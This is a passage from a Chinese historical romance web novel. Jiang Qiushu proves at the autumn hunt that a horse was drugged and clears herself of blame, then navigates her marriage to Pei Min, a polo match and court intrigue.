妇人逞强偏要纵马,如今却要推卸责任,叫在场不少人面露鄙夷。 即便如今能够证明缰绳出了问题,可大抵上还是因她骑术不假所引起的! 姜秋姝低着头,手心捏紧了些,若是再无旁的证据,她怕此罪必定会落到她的头上。 人群中李九娘即将要冲出来,却被正明侯抓的老老实实,李九娘心气儿只一时而起,见有人拦她,霎时断了。 姜秋姝的马是被她所惊,是她逞一时之气,如今只能无措的站在人群中。 她是个胆小的,姜秋姝被裴珉搂在怀中,即使是跪坐着,无旁的女子的胆怯与诺如,即便千夫所指,她往前走了步,她不坏的,刚要发声嘴被人给堵住,拖出了帐子。 “你还有何话要说?”圣人沉声道,看向姜秋姝的眼神只有天子威严。 裴珉看着怀中人,他的妻子他护得住,“臣愿待臣妻领罚,不过此事蹊跷,还请圣人给臣时间。” 事情发生突然,裴珉慌了神,只顾着怀中人,即便早早派了身边人去查,可时间太紧了。 圣人不语,反倒是圣后开口,“那便”。 “等等。”姜秋姝抓住裴珉艰难的站了起来,然后又推开了他,“臣妇请求仔细检查疯马!” 裴珉手中一时空空。 那马已经被斩杀,还有何好瞧的。 所有人到室外,二皇子抖了抖袖子,身侧的人牢牢将他压制住,生怕他与方才那般行事疯状。 他倒要看看这贱人还能如何狡辩! 他眸子里的猩红退了些,可整颗心一直在滴血,往外走时,刚好与三皇子四皇子擦身,四皇子脚不知晓踩在什么一滑,撞在了他的臂膀上将要摔倒,好在三皇子拉了他把,反不小心推了推二皇子。 二皇子本就气急,正无处可发,“没长眼!”他如今还有什么盼头呢! “二皇兄抱歉,弟弟非有意的。”四皇子年岁最小,连忙致歉。 二皇子还想说什么,可见三皇子挡着身前,只横了他一眼。 那匹马早就被侍卫处决了,头断成两半,鲜血几乎将马头覆盖住,马在死之前被侍卫逼急,几乎染了疯症,侍卫废了好大的力气才将其斩杀,马身上各处都遭受了刀剑的攻击,几乎看不出原本的模样。 这般的惨状,不少小娘子皆不忍心看,可依旧跟了上去,瞧瞧姜秋姝到底意欲何为。 裴珉扶着她,尽量让她依靠着自己,姜秋姝自然没与他客气,将身体大部分的压在他身上,到了此事,她甚至在想,若换做平日他必定不愿与她这般亲近,甚至还会呵斥她失了体统。 可靠在他身上,姜秋姝难得感到平静。 “剖开它肚子。”她冷声道。 此话出,站在旁侧的裴承立刻从腰间抽出剑,将马的肚子剖开。 腥臭很快传来,细碎的声音响起,不少人在指责姜秋姝不过是在拖延时间,裴承的刀在马的胃囊中翻找着。 裴珉看过去,眼神竟变得冷冽,尤其是落在那把沾染了马的粪泄物,未消化完了杂草的刀时。 那是裴承亲父所赠,只沾血从不沾染秽物。 隐隐辨认出那堆杂草中褐铜色的絮状物,她松了口气,搀扶着她的裴珉也察觉到她样子,连忙将她扶的更稳。 姜秋姝却轻轻推开了他,“圣人请看。” 裴珉担忧的看着她,生怕她站不稳。 她指着地上那堆未消化的杂草,“此乃醉马草,吃了会导致马,类似醉酒变得狂躁。” 醉马草吃下许久才会出现状况,且那时马还未完全消化掉。 在乡野间时,阿耶曾说过这种草,为了不会让自家的驴去误食。 圣人立刻派来了太医,来查询那堆未消化完的东西,太医检测完了后,跪地道:“回陛下如裴夫人所言,确实是醉马草。” 听完太医的话,姜秋姝原本绷着的情绪彻底平复下来,她掷地有声道:“圣人,娘娘,臣妇无罪!” 姜秋姝眸光盈盈,双手交叠施礼,恍若风吹不倒,山压不碎,“臣妇是被陷害的,请圣人娘娘还臣妇公道。” 在场人皆看着场中狼狈的女子,容色本就倾城,如今身上更是环绕着一股气,不屈不挠,又鲜活极了,即便是被人陷害,也从未低头,坚韧又叫人钦佩。 倒是个极为聪慧的小娘子,圣后赞赏的目光落到了姜秋姝身上,临危不惧,可…偏偏有这么个夫婿。 不大相配啊! 裴珉望着最中央的小娘子,不卑不亢,身上似乎蒙着一层光辉,熠熠耀人。 他从未见过这般的她,不!他见过。 公堂之下,小娘子即使跪着,双手呈上的状纸,不屈的模样如出一辙,她一直都是这般的,只是收敛了自己。 裴珉看着她,衣袖下的指尖摩挲着,胸膛迸发出莫名的感觉,叫他难以捉摸,只是眼神从未离开过她。 ** 姜秋姝醒来时,身上依旧是疼痛的,外边儿天已经黑了,白日实在太过惊险,圣人立刻叫人重新彻查此事。她原是强撑着,回到帐子后便昏睡了过去。 “娘子。”锦绣端着水盆进来,连忙将东西放下,跑到了姜秋姝的床边,搀扶着她起来。 “您没事儿吧?可要喊太医?”锦绣紧张的将她上下打量着。 姜秋姝摇头,虽然有些疼痛,可好歹能忍,她看了看四周,问道:“五郎呢?” “五郎一直照料着您,可方才被人给唤走了,娘子可将我们吓坏了,睡了好几个时辰,喊都喊不醒。这粥都是五郎怕您饿着,叫我们在炉火边温着。” 锦绣说着话,便扶着姜秋姝喂起粥来。 帘子刚好被掀开,姜秋姝瞧过去,正好看见裴珉往里走,他走到床边接过锦绣手里的粥,“我来喂。” 姜秋姝并未拒绝,只看他满目肃穆,好似心绪不大对。 “如今可并未妾身故意要在床榻上用膳的。”姜秋姝浅笑着,说着俏皮话,可对面的裴珉依旧未曾言语,只是吹了吹粥,舀了勺喂到她嘴边。 他从未这般照顾过她。姜秋姝小心的瞥了眼,将粥给喝下了。 裴珉好似有些不对劲,莫不是在怪她。 “妾身”。姜秋姝刚想要说话,勺子又递到了她嘴边,将话给堵了下去,等喝完了粥,她才有机会开口。 “五郎,妾身非有意的,妾身也未曾想到会遭逢这样的大祸。”她解释道,原本白皙的唇畔因喝了粥依旧未曾恢复殷红,只是润了些。 刚醒便说着歉疚的话,裴珉晓得她无措,只是…… “我曾说过,交由我,你不必那般的辛苦。”他是她夫婿可叫她依靠,可她只晓得自己来。 裴珉想起那双数次推开他的手,一股诡异的难受油然而生。 姜秋姝垂眸,可她也不晓得他能否护住她啊?即便他能做好夫婿的责任,可她无法将自己的性命完全系在他人手里。 她与他之间,并非那样的关系,她见过最好的感情,阿耶和阿娘相濡以沫,能够将生死相系,可是他们不行。 姜秋姝掩住所有的情绪,眨动间恢复平静。 她抬头依旧笑着,“妾身一时太过着急了,晓得夫君会护着我,若是还有下”次。 话还未说完,唇便被捂住。 她双眸瞪大,眼前人朝她的位置倾斜,手掌触在唇畔,呼吸间的热气扑在她的脸上。 裴珉掌心温柔,像是被什么挠了下,痒痒的,她的瞳孔在一瞬间放大,圆润又映照着蜡烛的光,犹如受到惊吓,想要露出爪子的狸奴。 他连忙收回手,可掌心温暖不散,像是依旧还紧紧贴着她唇般,他喉结上下滑动,嗓子此刻有些干哑。 他连忙起身,从匣子里拿出了药膏,“太医说你醒来后,便要替你换药。”像是故意岔开话题般,可裴珉看着手中的药,莫名脸上又升起复杂的神态。 姜秋姝不晓得他为何这般大的反应,只应好,然后伸出手让他来换药。 粥都让他喂了,换药更是寻常事。 裴珉动作极为小心,在拆开她掌心的白布时,靠近她手掌轻轻护着气,生怕弄疼了她,掌心只是擦伤,并没有多严重,他温柔的恍若能滴出水来。 这是姜秋姝头一回瞧见这般模样的他,以往一丝不苟,总能消耗她的耐心,叫她远离他。 可他涂药十分的慢,像是在拖延时间。 好似又什么不想要面对之事。 终于忙了半天涂好,重新包扎好,姜秋姝刚要躺回去,他又道:“还有腿。” 第30章 第30章涂抹 姜秋姝好似未曾听清他的话,问道:“什么?” 裴珉没开口,将药膏放下,握住她的颈部,在姜秋姝根本来不及反应的时候,整个人便被他给放倒在床榻上。 那双深沉的眼眸,紧紧的盯着她,眸中原是淡淡的,可越是停留在她身上的时间越久,那双眸子就像是逐渐的侵染了墨迹,越来越深。 “五郎?”她想要偏过头去,可下颚处被他捏住,呼吸相近,气息几乎扑在她的脸上。 “还有大腿要涂。”此刻姜秋姝听清了他的话。 大…腿? 她连忙挣扎起来,手想推开他,可刚碰到他的胸膛便被他给握住手腕。 “别乱动,有伤。” 他严厉的看着她,却又害怕伤害了她,只牢牢抓住手颈,原本的他的迟疑在看见她的态度时一下子便变了,“你怕什么?” 此话有些明知故问,姜秋姝望进他的眸子中,黑色的浓雾消散了些,“妾身不怕,只是五郎一男子,到底比不过女子心细。” 两人虽为夫妻,有时的亲昵程度,怕连伺候她的婢女嬷嬷都比不上。 “不若妾身唤了关嬷嬷和锦绣来?”姜秋姝浅笑,将不愿藏起来,只是做出提议的意思。 说到底,有时她自己都无法接受与裴珉太过亲近,或者说是抗拒。 她胆怯,又害怕,嫁给他时,她被他虚妄的温柔迷了眼,他教她习字,教她品茶,温和的态度,不过是他的本性。 换做旁人,他亦会那般的对待,可她误以为两人能够做恩爱夫妻,便想尽办法时时刻刻缠着他。 可一切不过是她的妄想,他不喜她的痴缠,从未明显表露出来,她傻得很,起初也未曾发现,只是后面才渐渐晓得的。 如今,他的举动好似在向她靠近,可她怕她猜错。 她更喜的是自己来主导这一切,她可以靠近主动,可当换做他主动时,心里又极其的不甘心。 凭何他愿意,她便又要再度贴上去。 复杂的情绪,几乎将她给掩埋了。 姜秋姝压住这股难掩的感觉,极为诚恳的提议,让关嬷嬷她们帮她。 “娘子,奴婢还得去将盥洗脏衣服,实在无空闲,便麻烦五郎了。”关嬷嬷和锦绣听到了这话,连忙推辞了,两人结伴急匆匆的出了帐子。 如此,帐子里只剩下他们两人。 姜秋姝的小腿忽然被他握住,“你放心,我会轻点儿的。” 裴珉认真的看着她。 其实姜秋姝能够察觉,他最初隐隐的排斥,帮她涂抹掌心,便是在拖延,可如今却将事情给揽了过去,实在不懂他怎会变得如此之快。 “五郎,你若是不愿,可唤医女来的。”姜秋姝毫无芥蒂道。 即便他不愿,她也不会有任何的不满。 裴珉未回她,反而按住她的腰肢,灼热的掌心触碰到后,姜秋姝苍白的脸颊染上红霞。 他非不愿,而是怕他忍不住心头的那团烈火。 他不愿见她难受,马上那一幕,他至今难忘,她一小小的女子怎会惹得这样的麻烦,不过是因她是他夫人的缘故。 裴珉眼眸中情绪很快闪过,只是动作更加温和了些。 解开原本包裹好的白布,裴珉上药时十分专注,又细致,可等她等她忍着疼痛,脸上表情皱在一起时,裴珉停住了,不敢动,只是观察着她的神情。 “疼?” 姜秋姝点头。 其实不是,是痒,莫名的痒,尤其是他神情认真的模样。 几乎不用多思考,裴珉便要像上掌心药时,俯身替她吹吹,姜秋姝吓得低着了他的额头,“没…没事儿的。” 裴珉神情温和,并无亵渎的样子,只是眼底露出来的心疼,叫姜秋姝有些迟疑。 等涂完药,他长舒了口气,瞧着姜秋姝脸上痛苦的下意识咬住唇畔,似乎在隐忍着。 “好了。”他转过头去,将药膏放下,手上的触感停留久久。 滑嫩,黏腻,如上好的白玉。 可那伤生生破坏了肌肤的美,叫人惋惜。 “这药是圣人赐下的,不会让你留疤。”裴珉道。 姜秋姝听此话也松了口气,女子皆是爱美的,她本就长得不错,即便出身市井,阿娘都夸赞她肌肤赛雪,她可不想留下那么大的瑕疵。 “多谢五郎。”姜秋姝晓得这是他给她请的恩典。 “五郎,事情查的如何了?”姜秋姝自然极关系此事的。 “线索断了,”裴珉如实道,“此事最为直接关联的除了你,便是监牧使,人死如灯灭,什么也未查到。” “那封遗书的笔迹当真是监牧使的?监牧使的亲人近期又是否有什么异常之处?醉马草的来源可又查到?还有大皇孙可与什么人接触过?”姜秋姝又问了下去,“郎君,此事看似牵连到了我,实则牵连到定国公府和二皇子,其中谁又能获利最多呢?” 裴珉没想到她竟然能够想到这么多,探究的目光落到了她身上,闺阁女子常处在内宅,未曾晓得这么多隐私,她又是市井出身,在认识他之前,识字都艰难。 “皆查过了,一无所获。” 姜秋姝瞧见裴珉思量的目光落到她身上,也晓得是她问的太多了,她噤了声。 “为何替李九娘担下?”裴珉又问她,“此事分明亦与她相关,是她鞭笞了你的马。” “这非本因,五郎,这一切早就有人谋划,即便没有李九娘那一鞭子,事情依然会发生。”姜秋姝看着他,“难道只因能脱罪,妾身便拉个女子下水吗?” 裴珉未想到她会这般回答,若是旁人呢?遭遇大难,只将能够助自己脱困的一切都说出来。 他转身瞧着她,眸子晶莹里面是烛火暖黄的光,平和却也在疑惑,他为何会这般的询问。 裴珉紧紧盯着她那双透亮的双眸,“可李九娘有错。” “她是有错,可是对妾身有错,妾身自然会讨回来,而非对整件事有错。” 帐子门口传来响动,吸引了两人的目光。 “娘子,五郎,正明侯府求见。”门口关嬷嬷的声音忽然传来。 姜秋姝连忙整理好着装,等差不多了才将人叫进来。 进来的是李九娘和正明侯与其夫人,另外姜秋姝所认识的李明澈也在其中。 她记得李明澈与裴珉交好,应当是传说中的‘忘年交’。 两人即便年龄不大,可相差了一辈,竟然也能处到一块儿。 李明澈没想到姜秋姝性子竟然这般的…豁达? 着实令人惊讶。他又看了看裴珉,两人关系确实比寻常人要好些,这也是他第一次瞧见他神色染了几分柔和。 倒不是说平常裴珉不温和,那样的温和只不过戴了张面具,和谁都一样,可他在看向姜秋姝却格外的有活气。 李九娘一直低着头,羞愧恼怒的情绪在她心里反复翻涌,她对不住姜秋姝,也比不得姜秋姝英勇。 即便她是被阿耶阿娘拉出了帐子,到底是她太过胆怯了。 她整理衣袍,朝着姜秋姝珍重的施礼,头碰触到地面时很凉,可心里的寒意驱散了。 “裴夫人是我对不住您。” 正明侯与其夫人满脸歉疚,他们当时那般做,到底是要护住自己的女儿,可到底辱了一世英名,“今日携小女来致歉,还望裴夫人看在小女年幼从轻发落。” “我夫人与令爱年岁相差不大。”裴珉冷声道。 这话一出,臊人脸皮,正明侯他们嗫喏许久,才道:“裴夫人若有什么想要,我正明侯府必定尽力。” 两府间必定还是亲戚,有二夫人的关系在,也不能撕破脸皮。 “好。” 这是一句承诺,姜秋姝应下了。 即便现在她想不起要什么,可留着万一日后有用呢? 见姜秋姝这般,裴珉自然不会干预,她决定的事,他没理由不答应。 姜秋姝叫人将地上的李九娘扶起来,“我非大度的人,也晓得并非全因你之故,可还请九娘日后行事谨慎些,不是每次都如今日般好运。” 李九娘见姜秋姝受了他们的礼,她心头难受才减缓了些,“日后我必谨言慎行。” 看着姜秋姝皎月般的容颜,大度又坚毅,真是移不开眼。 她又看了看裴珉,心里头的不般配莫名对调,裴太傅到底还是年长了些。 秋狩开始,姜秋姝这几日都得休息,裴珉陪了她几日,可到底不好不露面,第六日时便出了帐子去了猎场。 姜秋姝只从关嬷嬷和锦绣的口中听闻过裴珉的风姿,据说他第一日便猎了头虎。 裴珉以科举入仕,定国公府却是武将出身,姜秋姝只隐约瞧过他鼓鼓囊囊的身体,那模样不似清瘦的文人,若是裴珉亦以武入仕,又会是何模样? 只是可惜崔姨娘断送了这一可能,关嬷嬷极其感叹此事。 姜秋姝甚至听闻了许多裴承的传言,皆说定国公后继有人,说他武艺超群,在猎场锋芒毕露,得到了圣人的嘉许,升了职。 说起裴承,姜秋姝脑子里一直有个模糊的影子,那日她坠马好似瞧见他了? “娘子。”锦绣进来时兴高采烈,“五郎猎了只鹿,特意给您养身子的。” 姜秋姝看了看托盘上的鹿肉,也能想到裴珉是如何的风采,可惜她不能去瞧瞧,掌心,腿上的伤已经结痂,痒痒的,没那么疼。 可太医让她多卧床几日,免得运动太过留了疤。 这一休息,半月时间一晃而过,大军即将拔营回去,在离开前三日,便是李长宁说过的马球赛。 姜秋姝休养的差不多,能够去营帐外瞧瞧,一直困在屋子里闷得很。 关嬷嬷怕她没养好伤,想要搀扶着她,她已经好了很多,便没让关嬷嬷扶着。 赛场上热闹非凡,姜秋姝来时已经有了不少的人,她还在寻着座位,李九娘到了她的身侧,小心道:“夫人不如与我坐在一处。” 姜秋姝点头,李九娘脸上笑意更加多了几分。 落座后,场上已经比了一会儿了,还正如李长宁所言,不少男子皆未穿上衣,精瘦的臂膀下是沟壑分明的腹部。 汗水沾在身体上,随着马儿奔跑间,洒落在地。 看台上不少的小娘子也并无平日般的矜持,瞧的是津津有味。 姜秋姝看着,唇角比起平日弧度大了几分,着实养眼的很,看了会儿,没想到还瞧见个熟人。 裴承。 另一侧的裴珉没想到她会来,当她目光多次停留在那些光着膀子的男子身上,他心口涨的很,尤其是当裴承比方才更加活跃时,他眼眸里藏着雷霆大怒。【你现在阅读的是 】 30-40 第31章 第31章忍耐 姜秋姝看了会儿场上,红色骑装的男子进了一球,全场欢呼,不少女子望着场中的激烈场景,眼睛亮晶晶的。 那人她识得,是李长宁麾下的,无他其中有好些男子她都曾见过的。尤其是他肌肉蟠扎,比起其他的男子要壮硕不少。 她侧目,身边李九娘刚好对视过来,满脸的红润,也是被赛场上风光所迷。 “裴夫人,多谢。”李九娘诚恳的看着她,“以前是我小心眼儿了。” 姜秋姝晓得她说的是何事,“九娘,我曾和你说过,我并非大度的人,既承了你们正明侯府一诺,此事便了了。” 李九娘也知晓,可越是靠近她,越晓得她其实并非旁人所言,是个粗俗徒有虚表的市井女子, “可还是多谢。” 谢她未在那么多人面前供出她来,谢她给她留了颜面。 姜秋姝朝她和善一笑,如此她便也忘了,她故意扔石子陷害她的事吧! 两人关系倒是比起先前亲近那些,一同看着赛场,李九娘不一会儿的功夫又欢呼起来。 她活跃生机勃勃的模样,让姜秋姝艳羡,她以往也同她般,是个年岁无忧的小娘子。 可此刻,如她般不顾规矩的鼓舞,若是被裴珉晓得了,怕又得用规矩压她,她只面露微笑,遏制住情绪,看着赛场。 看到裴承时,她还是有些惊讶的。 裴承在府中文质彬彬,还当也是个文人性子,没想到身形这般的好,习武的男子果真有一副好身躯。 裴承娴熟的骑着马,在场中穿梭,迅速的避开了要阻拦他的人,马儿腾空引得众人喝彩,接着用力一挥,进了! 他笑的灿烂,眼睛却始终盯着一处,姜秋姝看过去时,恍然以为他是盯着自己的,可转念一想觉得有些可笑,便将目光看向别处。 裴承抿唇,笑容停滞,可很快又重新加入战场。 姜秋姝看了会儿,竟然在赛场中瞧见了裴珉的身影,没想到这样的场合,他竟然也会来。 当他望向她时,她颔首,同时唇角的弧度小了些。 上回在李长宁那儿,便被他说过,如今…这么多的夫人小娘子皆在,他应当不会说她吧? 只是谨慎些没错。 在见了他后,裴珉发现她脸上的笑容淡了,不由得泛起些不可名状之感。 在平乐公主那里见光着膀子的男子,在赛场见如此多的光着膀子的男子,她都可以笑的开心,唯独见他,眼中的星眸暗淡。 他看了眼场上,犹如孔雀开屏的裴承,眼中神色沉了沉。 “怎么?爱卿也想去场上?”圣人瞧见裴珉跃跃欲试的模样问道。 “父皇,老师才不喜什么马球呢!”李长宁顺道解释了下,自己身边伪装成内侍的男子皆是她请来打马球的。 方才一直在旁边的二皇子,也不晓得犯了那门子疯,竟然抖露出她将面首装作内侍带来猎场逍遥,说她行事放荡。 好在白茸提前与她说了,叫她提防二皇子。 薛凛眼眸瞟在李长宁身上,止不住的恼怒。 此话除开说她品行有问题,便是在打他这个驸马的脸。 正好李长宁借着裴珉解释起缘由来,“二哥可真是冤枉我了。不过是女儿为马球赛,特意叫了人来练习。” 在圣人与圣后旁,李长宁收敛所有的锋芒,成了惯会撒娇买痴的小女儿。 “那是你二哥短视了。”圣人最是疼爱李长宁,不然也不会让她掌云策军,这可是大周公主百年来都未曾有过的殊荣。 李长宁这才好受了些,依靠在圣后身侧,还在告状,“女儿的住处与师母近了些,便请她一道去瞧女儿练的这些人,结果被老师看见了,非说女儿不误正事!” 李长宁声音极为委屈,“本以为师母仙女儿般的人,能与老师有不同,结果一样的古板无趣。” 边上听见李长宁的几位皇子,又想起近日来的传闻,平乐公主与裴夫人关系不好。 如此看来,并未裴夫人得罪了平乐公主,反倒是家有悍夫,引得平乐公主迁怒。 不过依照平乐公主的名声,裴太傅不想夫人与她来往也算正常。 圣人眼眸闪过深思,尤其是当李长宁对世家之首的定国公府,怀着这般大的不喜时,他道:“裴太傅说起来到底算你的老师。” “空有头衔罢了!”李长宁撇了撇嘴,也不管裴珉是不是在。 圣人又瞧了瞧其余的几位皇子,却见他们像是不认同李长宁的话。 尤其是二皇子,昨日气昏了头,如今又帮裴珉说起好话来,“到底是教导过儿臣,裴太傅为朝廷鞠躬尽瘁,是该敬为师长。” 三皇子与四皇子与裴珉交好,况且裴珉人就在此,“儿臣本就是太傅教导的,一声老师,终身老师。” 圣人敛了眼中的神色,只是认真的瞧着场上的马球赛。 场上人大都心思各异,裴珉脸色神情也未变过,即便被最受宠的平乐公主冠以老古板的名称。 忽然李长宁的队伍进了球,她欢呼雀跃,唇角弧度上翘,世家是手中刃,可握刀不稳者总会被其所伤。 大周需要的皇,不是世家的傀儡! “臣愿意上场。”裴珉开口,这是在回应圣人最开始的话。 姜秋姝坐在外侧,忽然有内侍将她叫到了圣人圣后身侧,圣人圣后不似前几日般威严,话语中和蔼不少。 “裴夫人伤势如何?”圣后主动问起姜秋姝的身体。 “谢圣人,娘娘,臣妇已无大碍。”姜秋姝施礼。 圣后指了指身侧另一个空位,“不必客气坐吧!”圣后另一边的李长宁目不斜视,可众人皆能感觉出来她并不喜姜秋姝。 二皇子沉默不语,即便事情查清楚了,可依旧无法换回他孩子的腿。 倒是三皇子与四皇子,态度友善,正如方才所说,将裴珉当做老师,将她当做了师母对待,颔首施礼。 姜秋姝落坐后,回头也正好看见穿好骑装的裴珉。 当真是丰神俊朗,不过场中的男子大都是裸露着上半身,也只有裴珉穿的严严实实的。 姜秋姝莫名觉得有些好笑,唇角弧度忍不住大了几分。 裴珉当真活的老,分明也不过二十六七的年纪。 裴珉替换下了裴承的位置,裴承虽然并不累,但最敬重裴珉这个长辈,加之心头若有若无的羞愧,便下了场。 这些时日,姜秋姝未曾亲眼见过,裴珉在猎场上的风采,今日瞧见了,裴珉单手拉住马绳,脚勾在马镫上,修长的身量被腰带束缚,比起更加直白的袒胸露肚,这种欲露不露将人视线抓的牢牢的。 精瘦的腰腹部用力往上,维持身形,胳膊用力击打着马球,砰的一声,击中铜锣。 场外声音此起彼伏,比方才都要大不少。 裴太傅在朝臣向来都是肃正,少见他能有这般的意气风发。尤其是当他脸上少有的出现了笑意,与平日温文尔雅完全不同。 “好!裴爱卿当真是深藏不露。”圣人起身,再场众人皆不敢坐下。 姜秋姝看过去,姜秋姝只看着他,他回头亦是在人群中,一眼就瞧见了她的所在,眼眸映着笑,尤其是当他又进了一球,朝着她的方向举起了鞠杖。 好似瞧见了不一样的裴珉,畅意的未被礼教所压制的少年人。 姜秋姝也跟着勾了勾唇角。 这一刻,她便挺想孕育个与他的子嗣,她不懂的心中是如何想的,却觉着若能一直如此刻般就好。 大军拔营,秋狩结束,前往行宫休息几日才回洛阳。 姜秋姝坐在马车里,望着逐渐远离的风景,心头怅然,本是想来学骑马的,没想到却遭遇了这么一遭。 身侧的裴珉许是察觉到了她的异样,“怎么了?可有不适。” 说着想要看看她的伤。 姜秋姝掌心早就不用包裹,只一道粉色的红痕,应当用不了多久便会消。 “是腿部?”裴珉视线下移,姜秋姝不由得并拢,手掌放在腿部。 “没,没,”她生怕裴珉真的俯身去看,连忙道,“妾身还没好好学学骑马呢!” “日后总有机会的。”裴珉这般道。 姜秋姝点头,却未从他嘴里听到,可准许她在府外的草场练。 她其实明白他的顾虑,她亦会坐好他夫人的位置。 回到行宫里,姜秋姝看着最里侧的那张床榻,在猎场时,裴珉即便是与她住在同一帐子,可为了她的伤,命人在靠窗的位置搭了张小榻。 到了行宫,他是要和她同榻,还是? 姜秋姝还未问他,便有人搬了张如意榻进来,裴珉的人整理了番,放置上他平常常用的被褥,不一会儿的功夫便收拾好了。 用过晚膳,姜秋姝也并没有散步的心,舟车劳顿有些辛苦,洗漱完毕后,她便躺在了床上,望着上方的帐幔,她想起白日的事。 她看了眼小榻上的人,也不晓得他是否睡熟,“五郎,妾身想要学骑马,可在府中别院的草场吗?” 她难得和他提了自己的请求,自从他在外巡查回来后,她自认为对他算得上毕恭毕敬,不晓得能否够得上他心目中的妻子模样,可她尽力了。 “可。”裴珉声音淡淡,听不出旁的情绪。 姜秋姝也没管那么多,得了准许的话,她睡得安眠。 夜间,窗户半敞,风吹来将要撞在框上,一只手扶住了窗户,屋内风起,窗幔吹动,姜秋姝眉宇轻拧。 裴珉合上窗户后,走近,坐到床榻上,房间里灯笼里的蜡烛即将燃烧殆尽,发出微弱的光,今夜月光却很好。 一条银丝带映着窗户的痕迹,往床榻处延伸。 她睡得香甜,比起前几日,因痛感而起的忧愁,应当是她近日来,睡得比较好的。 裴珉将她的被褥往上掩了掩,入秋天也逐渐凉了起来,尤其是在夜间,以往他都未发觉她这般喜爱踢被子。 在猎场时,他须得好几次替她盖好被褥。 当被褥再次被踢开,她小腿伸到外面,翻了个身子压住,裴珉无奈的抓住她的脚腕,小心的放回被子里。 可她将被褥抱在怀中,背脊处都晾在外边儿。 裴珉下意识去摸摸冷暖,结果却是滑嫩的肌肤,他愣住,这次看清楚了些,她穿着小衣,几根系带往后延伸,白皙的背脊没有遮掩。 裴珉连忙收回手,指尖不禁摩挲了下,却又连忙掰开她抓牢被褥的手,将她后背盖严实。 可下一刻,他的手被她给抓住,往怀中挪动,触及柔软时,裴珉眸中风浪翻涌,想要收回手,却又怕吵醒她。 他们许久未曾在一处了。 掌心能够明显感受到她起伏的呼吸,裴珉深吸了口气,压住所有的绮思,身体往下靠,在不惊动她时,躺在了她的身侧。 馨香将他笼罩,无时无刻不往身体里钻去。 他独自睁眼到清晨。 姜秋姝醒来时,床榻另一侧痕迹比她躺着的位置杂乱了些,不过阿娘曾与她说过,她就寝时不大老实。 小榻已经整理妥当,裴珉的东西被重新放进了柜子里,前几日她醒来都未曾瞧见过他的身影。 姜秋姝没有多问,等用早膳都未曾瞧见过裴珉的身影,反倒是外边儿有人禀告裴秋月来了。 自那次猎场,她好些日子都未曾瞧见过裴秋月了,如今她来,定不是好的。 “看座。” 院子外,裴秋月正挑剔着底下人送的点心,她身侧的赵士远却是在安抚着。 可裴秋月并未像以往那般罢休,反倒越说越停不住嘴,就连对赵士远都没有那般的耐心。 倒是稀奇。 “侄女,侄女婿来此作甚?”姜秋姝说话客套,裴秋月白了她眼,却在身旁嬷嬷的约束下给姜秋姝行了礼。 “五叔母安。”裴秋月说的极为敷衍。 说实话,裴秋月久不在她面前来,她都快忘了有这么个人了,不得不说裴珉有先见之明,特意叫嬷嬷管教裴秋月。 才叫她秋狩期间来并未惹事。 姜秋姝看了看另一边的赵士远,扬眉示意他也向她问安。 赵士远声音磕磕绊绊,“五叔…叔母安。” 即便到了今日,这般唤她,他依旧很难忍耐。 姜秋姝却听着格外的入耳,自顾自的住在了桌子的上席。 “找我何事儿?”问过安,她便不想再瞧见他们了。 “听闻你…五叔母受了伤,特意来问候。”赵士远如此道,姜秋姝但笑不语,这都过了好些日子,问候她那好了大半的伤疤? 裴秋月瞪了眼赵士远,不满他的说辞,“五叔母那日在猎场所做,早就传回来洛阳,被太公和太夫人知晓了。你如今是逍遥了,等回了府,定要你好看!” 这才是裴秋月的目的,特意来寻姜秋姝晦气的,与赵士远成婚后,她心中皆憋着股气。 再是好看的少年郎,再是满腹经纶,他连个男人都算不上! 每每就一瞬,她刚躺下没了,不过眨眼间。 裴秋月也是有过少女怀春的,瞧过不少的话本,怀疑赵士远是个不行的! 新婚时,她只当他不熟悉,可后面想与他亲近,他推辞,到后来推辞不过,她满怀欣喜可什么感觉都没有。 他说因他只她一人,又珍爱她,太过于激动,裴秋月选择信任他,可即便如此心头憋着股火。 姜秋姝出了事儿,她直接书信一封送回了府,如今收到来信,太夫人说会好生处理此事。 裴秋月郁闷的心一下子开怀了,“我也是来特意提醒五叔母,你代表的是国公府的体面,行事万不可放肆。” 姜秋姝笑出声来,“此事圣人与陛下已经下了定论,本就与我不相干,我不过是被人陷害,怎么?受了委屈的人,反倒成了囚犯?” 裴秋月才管不了什么多,“若非你偏要骑马,此等祸事也牵连不到定国公府。你且等着看太夫人如何惩戒你。” 姜秋姝面不改色,只是偶然间抬头,瞧见赵士远担忧的神情落在她身上时,她几乎想要呕出来。 “既然说完了,便不必相送了!”姜秋姝不顾裴秋月气恼的模样,独自回了房间。 “早和你说过定国公府皆不是省油的灯,裴太傅也不是个好的夫婿。”李长宁不晓得何时出现在她的窗子外面,纵身一跃翻了进来。 姜秋姝连忙去关上门。 世人皆道,她们因裴珉的缘故有了嫌隙,自然不好叫人瞧见。 “殿下来此所为何?”姜秋姝问道。 “为感谢。”李长宁指了指腰间的荷包,“姜娘子绣工倒是极好的。” 不过一荷包罢了,她才不信李长宁找她便是为了此事。 姜秋姝倒了杯茶水递给她,“不过是闲暇绣的,不值一提的小玩意儿。” 李长宁却从这不值一提的小玩意儿,听出了别的意思,“可为裴太傅绣过?” 姜秋姝坐在了李长宁对面,点头,不是什么不能说的事,只不过那个荷包是她绣艺不大好时给他绣的,他瞧不上正常。 若是她得了个丑玩意儿,也不敢“饰”与人前。 李长宁没在问她,只是道:“二皇兄府中姬妾不少,多年来却只得了大皇孙一子。你可知晓为何?” 姜秋姝极为聪慧,一下子就明白了李长宁的意思,“你是说他不行?” 李长宁呛了口水,咳嗽起来,“倒也不是这般凄惨,我派过去的人言二皇兄年轻力壮,夜夜笙歌,只不过子嗣艰难。” 姜秋姝看了那些杂书,倒是懂了李长宁的意思。 种子坏的。 “所以大皇孙是他心头宝,日后你且小心些,二皇兄此人睚眦必报,即便与你无关,他也是恨上你了。”李长宁这般道。 “我到底是裴珉夫人,他目前不敢。”这点姜秋姝看的明白,只要二皇子还想要在朝堂立足,不敢明面上对她这个裴家妇做什么。 李长宁还是提醒了她,只是有些事儿不好直言。 郑六娘快回来了,她不是个简单的人。 门口传来动静时,李长宁呲溜一下从窗子外边儿翻了出去,过了会儿门被打开,裴珉进来了看着榻上的两杯茶水。 姜秋姝笑着给自己的茶杯添了水,悄悄抹掉上面的口脂,递给裴珉,“夫君辛苦了。” 裴珉不容有他,一饮而尽,“今日这茶倒是格外的香甜。” 姜秋姝红了双颊,若不是知晓裴珉不晓得这杯子是她的,恐以为是哪儿来了个风流郎君。 “五郎觉得能入口便好。” 